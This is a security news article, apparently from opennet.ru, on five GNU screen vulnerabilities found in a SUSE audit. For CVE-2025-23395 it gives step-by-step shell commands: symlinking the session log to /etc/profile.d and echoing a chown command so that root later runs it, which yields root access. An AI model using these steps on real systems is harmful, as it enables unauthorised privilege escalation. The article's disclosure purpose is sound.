The GNU screen terminal multiplexer, providing a multi-window interface in the console, has been found to have 5 vulnerabilities. The most critical issue (CVE-2025-23395) allows obtaining root privileges on the system. The fix is included in today's release of screen 5.0.1.
The CVE-2025-23395 vulnerability is present only in the screen 5.0.0 branch, which is shipped with Fedora Linux, Arch Linux, NetBSD, OpenBSD, and Alpine. In Debian, Ubuntu, RHEL (EPEL 9), Gentoo, FreeBSD, SUSE/openSUSE, and OpenWrt, the 4.x branch of screen continues to be supplied. Exploiting the vulnerability is possible in systems that install the screen executable with the setuid root flag, such as in Arch Linux and NetBSD. In Fedora, the utility is installed with the setgid flag to obtain screen group rights, allowing the placement of sockets in the system directory /run/screen, which limits denial of service attack options.
The vulnerability arises because when launched with root privileges, the logfile_reopen() function executes before privilege dropping but processes data in the context of the directories of the current unprivileged user who started screen. Notably, the initial log opening is done with proper privilege dropping, but on reopening the log file, privilege dropping is not performed.
Through manipulation of enabling session logging mode, a user can achieve writing data to a file with root privileges, while the file itself may be saved in the user's home directory. The attack involves deleting the created log file and replacing it with a symbolic link pointing to any file in the system. If the file already exists, data containing the output of the screen session will be added to it without changing the owner. If the file does not exist, it will be created with permissions 0644, owned by root and grouped as the current user.
The attack algorithm creating the file /etc/profile.d/exploit.sh with the command "chown $USER /root":
- Creating a screen session with logging enabled $ screen -Logfile $HOME/screen.log
- Pressing the Ctrl-a-H key combination to enable logging.
- Deleting the log file and replacing it with a symbolic link that will lead to creating the file /etc/profile.d/exploit.sh $ rm $HOME/screen.log; ln -s /etc/profile.d/exploit.sh $HOME/screen.log
- Returning to the screen session and outputting data that will be logged. $ echo -e "\nchown $USER /root;"
- After the real root connects to the system, the script /etc/profile.d/exploit.sh will run, changing the ownership for the /root directory. $ ls -lhd /root drwxr-x— 5 user root 4.0K Dec 30 2020 .
- Similarly, configuration files for sudo can be created or commands can be added to the end of system scripts.
Less severe vulnerabilities in screen:
- CVE-2025-46802 — TTY device interception in multi-user sessions (a user can achieve setting /dev/pts/1 to crw-rw-rw- permissions). The issue appears in screen versions 4.x and 5.x.
- CVE-2025-46803 — default permission of 0622 on PTY devices, allowing any user to write. This issue occurs only in screen version 5.0.
- CVE-2025-46804 — information leakage about the existence of files and directories in restricted directories (when specifying a directory for sockets, using the SCREENDIR environment variable, the utility returns different error messages indicating the existence of files and directories with that name). The issue occurs in screen versions 4.x and 5.x.
- CVE-2025-46805 — race condition when sending SIGCONT and SIGHUP signals, leading to denial of service. The issue occurs in screen versions 4.x and 5.x.
- Incorrect use of the strncpy function (replacing strcpy with strncpy without considering the difference in the handling of null characters '\0'), resulting in a crash when executing specially crafted commands. This issue occurs only in screen version 5.0.
Vulnerabilities were identified during an audit of the GNU screen codebase conducted by the team responsible for the security of the SUSE Linux distribution. Information about the vulnerabilities was sent to screen developers on February 7, but within the 90-day deadline, they were unable to prepare fixes for all vulnerabilities, and SUSE personnel had to prepare some patches themselves. According to the researchers conducting the audit, the current maintainers of GNU screen do not have a sufficient understanding of the project's codebase and are unable to fully address the identified security issues.
Source: opennet.ru
